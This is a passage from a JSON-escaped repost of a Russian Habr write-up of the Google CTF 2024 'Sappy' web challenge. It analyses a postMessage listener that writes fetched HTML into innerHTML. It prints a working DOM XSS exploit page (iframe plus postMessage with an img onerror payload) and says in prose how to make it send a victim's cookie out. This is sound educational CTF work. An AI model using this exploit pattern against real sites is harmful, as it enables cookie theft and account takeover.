\u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u0435\u0439 \u0434\u0432\u0443\u0445 source \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <code>\"\/sap\/\"<\/code>:<\/p>\n<pre><code class=\"javascript\">function buildUrl(options) { return getHost(options) + \"\/sap\/\" + options.page; }<\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b payload \u0438\u043c\u0435\u043b \u0432\u0438\u0434 \u0442\u0438\u043f\u0430:<\/p>\n<pre><code class=\"javascript\">'data:\/\/sappy-web.2024.ctfcompetition.com\/sap,{\"html\":\"&lt;img src=x onerror=alert(1)>\"}'<\/code><\/pre>\n<p>\u0422\u043e\u0433\u0434\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 exploit \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"xml\">&lt;!DOCTYPE html> &lt;html lang=\"en\">  &lt;head>     &lt;meta charset=\"UTF-8\">     &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">     &lt;title>Document&lt;\/title> &lt;\/head> &lt;body>     &lt;iframe id=\"myIframe\" src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload=sendMessages()>&lt;\/iframe>     &lt;script>         function sendMessages() {             const iframe = document.getElementById('myIframe');             const iframeWindow = iframe.contentWindow;              const messages = [             '{\"method\": \"initialize\",\"host\": \"data:\/\/sappy-web.2024.ctfcompetition.com\/\"}',             '{\"method\": \"render\", \"page\": \",{\\\\\"html\\\\\":\\\\\"&lt;img src=x onerror=alert(1)>\\\\\"}\"}'             ];              messages.forEach(message => {                 iframeWindow.postMessage(message, \"*\");             });         }     &lt;\/script> &lt;\/body> &lt;\/html><\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4ea\/5ec\/a5b\/4ea5eca5b8113ea201460073f3d57947.png\" width=\"1225\" height=\"1137\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4ea\/5ec\/a5b\/4ea5eca5b8113ea201460073f3d57947.png\"\/><\/figure>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f writeup&#8217;\u0430 <a href=\"https:\/\/github.com\/google\/google-ctf\/blob\/main\/2024\/quals\/web-sappy\/exploit\" rel=\"noopener noreferrer nofollow\">exploit<\/a> \u043e\u0442 Google \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"javascript\">window.postMessage('{\"method\": \"initialize\",\"host\": \"data:\/\/sappy-web.2024.ctfcompetition.com\/,{\\\\\"html\\\\\":\\\\\"&lt;img src=x onerror=alert(1)>\"}'); window.postMessage('{\"method\": \"render\", \"page\": \"page1\\\\\"}\"}')<\/code><\/pre>\n<p>\u0412 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0444\u043b\u0430\u0433, \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c exploit \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e\u0431\u044b xss \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0430 cookie \u0436\u0435\u0440\u0442\u0432\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u043c \u0440\u0435\u0441\u0443\u0440\u0441. <\/p>\n<p> \u0414\u0430\u043b\u0435\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u044d\u0442\u043e\u0442 exploit \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0435, \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c url \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0432  \u043f\u043e\u043b\u0435 URL \u0431\u043b\u043e\u043a\u0430 &#171;Share your learnings&#187;: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fca\/4ec\/689\/fca4ec68904d60800059620f5958e539.png\" width=\"889\" height=\"290\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fca\/4ec\/689\/fca4ec68904d60800059620f5958e539.png\"\/><\/figure>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0435\u0440\u043d\u043e, \u0442\u043e \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 cookie \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0431\u044b\u0442 \u0444\u043b\u0430\u0433. <\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/824166\/\"> https:\/\/habr.com\/ru\/articles\/824166\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h3>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b Google CTF, \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0438 \u0432\u044b\u043b\u043e\u0436\u0435\u043d\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u0438 exploit&#8217;\u044b \u043a \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c.<\/p>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c web task \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e Google CTF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f &#171;Sappy&#187;.<\/p>\n<figure class=\"bordered full-width\"><\/figure>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0432\u044b\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438.<\/p>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 <a href=\"https:\/\/github.com\/google\/google-ctf\/tree\/main\/2024\/quals\/web-sappy\" rel=\"noopener noreferrer nofollow\">\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0435\u043a\u0442\u0430<\/a> \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 GitHub \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438. \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0431\u044b\u043b\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/google\/google-ctf\/tree\/main\/2024\/quals\/web-sappy\/challenge\" rel=\"noopener noreferrer nofollow\">challenge<\/a>.<\/p>\n<h4>\u0410\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430<\/h4>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435, \u0447\u0435\u043c \u043d\u0430\u0447\u0430\u0442\u044c, \u0432\u0432\u0435\u0434\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p><a href=\"https:\/\/habr.com\/ru\/companies\/jetinfosystems\/articles\/821451\/\" rel=\"noopener noreferrer nofollow\">\u041e\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u043c DOM Invader: \u0438\u0449\u0435\u043c DOM XSS \u0438 Prototype Pollution \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u043f\u044f\u0442\u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435<\/a><\/p>\n<blockquote>\n<p><strong>Source<\/strong><br \/> \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e JavaScript, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e location.search, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0432\u043e\u0434 \u0438\u0437 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043b\u044e\u0431\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c Source. \u041a \u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f URL-\u0430\u0434\u0440\u0435\u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (document.referrer), Cookie \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (document.cookie) \u0438 WebMessages (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043f\u0440\u043e WebMessages \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e\u00a0<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Window\/postMessage\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>).<\/p>\n<p><strong>Sink<\/strong><br \/> \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f JavaScript \u0438\u043b\u0438 \u043e\u0431\u044a\u0435\u043a\u0442 DOM, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0438\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval() \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Sink&#8217;\u043e\u043c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043d\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f, \u043a\u0430\u043a JavaScript. \u041f\u0440\u0438\u043c\u0435\u0440\u043e\u043c HTML-Sink \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f document.body.innerHTML, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c HTML \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript.<\/p>\n<p><strong>Gadget<\/strong><br \/> \u041d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u00ab\u0413\u0430\u0434\u0436\u0435\u0442\u044b\u00bb \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043c\u043f\u0430\u043a\u0442\u0430. \u0415\u0449\u0435 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0440, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<\/blockquote>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430 \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u043d\u0430\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b <code>sap.html<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b <code>sap.js<\/code>.<\/p>\n<p>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 sink \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0443\u0447\u0430\u0441\u0442\u043a\u0435 \u043a\u043e\u0434\u0430:<\/p>\n<pre><code class=\"javascript\">window.addEventListener( \"message\", async (event) => { let data = event.data; if (typeof data !== \"string\") return; data = JSON.parse(data); const method = data.method; switch (method) { case \"initialize\": { if (!data.host) return; API.host = data.host; break; } case \"render\": { if (typeof data.page !== \"string\") return; const url = buildUrl({ host: API.host, page: data.page, }); const resp = await fetch(url); if (resp.status !== 200) { console.error(\"something went wrong\"); return; } const json = await resp.json(); if (typeof json.html === \"string\") { output.innerHTML = json.html; } break; } } }, false ); <\/code><\/pre>\n<p>Sink:<\/p>\n<pre><code class=\"javascript\">output.innerHTML = json.html;<\/code><\/pre>\n<p>\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432:<\/p>\n<ul>\n<li>\n<p>\u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 event listener<\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 <code>API.host<\/code><\/p>\n<\/li>\n<li>\n<p>\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <code>url<\/code> \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c <code>API.host<\/code> \u0438 <code>data.page<\/code><\/p>\n<\/li>\n<li>\n<p>AJAX \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 <code>url<\/code> \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c <code>fetch()<\/code><\/p>\n<\/li>\n<li>\n<p>\u041e\u0442\u0432\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 json \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043b\u044e\u0447 <code>html<\/code>, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 sink<\/p>\n<\/li>\n<\/ul>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 exploit&#8217;\u0430<\/h3>\n<h4>\u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 event listener<\/h4>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043a\u0430\u043a-\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (source). \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043e\u0434 <code>addEventListener()<\/code><\/p>\n<p><a href=\"https:\/\/developer.mozilla.org\/ru\/docs\/Web\/API\/EventTarget\/addEventListener\" rel=\"noopener noreferrer nofollow\">MDN<\/a>:<\/p>\n<blockquote>\n<p>\u041c\u0435\u0442\u043e\u0434\u00a0<code>EventTarget.addEventListener()<\/code>\u00a0\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u00a0<code>EventTarget<\/code>.<\/p>\n<p><code>EventTarget<\/code>\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c\u00a0<code>Element<\/code>,\u00a0<code>Document<\/code>,\u00a0<code>Window<\/code>, \u0438\u043b\u0438 \u043b\u044e\u0431\u044b\u043c \u0434\u0440\u0443\u0433\u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u044f (\u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a\u00a0<code>XMLHttpRequest<\/code>).<\/p>\n<p><strong>\u0421\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441<\/strong><\/p>\n<p><code>target.addEventListener(type, listener[, options]); ... <\/code> <\/p>\n<p><code>type<\/code><br \/> \u0427\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443 \u0441\u0442\u0440\u043e\u043a\u0430, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u00a0<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Event\/type\" rel=\"noopener noreferrer nofollow\">\u0442\u0438\u043f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f<\/a>.<\/p>\n<p><code>listener<\/code><br \/> \u041e\u0431\u044a\u0435\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0433\u0434\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e. \u042d\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u00a0<code>EventListener<\/code>\u00a0\u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e\u00a0<a href=\"https:\/\/developer.mozilla.org\/ru\/docs\/Web\/JavaScript\/Guide\/Functions\" rel=\"noopener noreferrer nofollow\">\u0444\u0443\u043d\u043a\u0446\u0438\u044f JavaScript<\/a>.<\/p>\n<\/blockquote>\n<p><a href=\"https:\/\/portswigger.net\/web-security\/dom-based\/controlling-the-web-message-source\" rel=\"noopener noreferrer nofollow\">Controlling the web message source<\/a>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434)<\/p>\n<blockquote>\n<p>\u0415\u0441\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432\u0435\u0431-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e <code>origin<\/code> \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0432 event listener, \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 event listener&#8217;\u043e\u043c, \u043c\u043e\u0433\u0443\u0442 \u0441\u0442\u0430\u0442\u044c sink&#8217;\u0430\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 <code>iframe<\/code> \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>postMessage()<\/code> \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0431-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 event listener, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432 sink \u043d\u0430 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435. \u0422\u0430\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 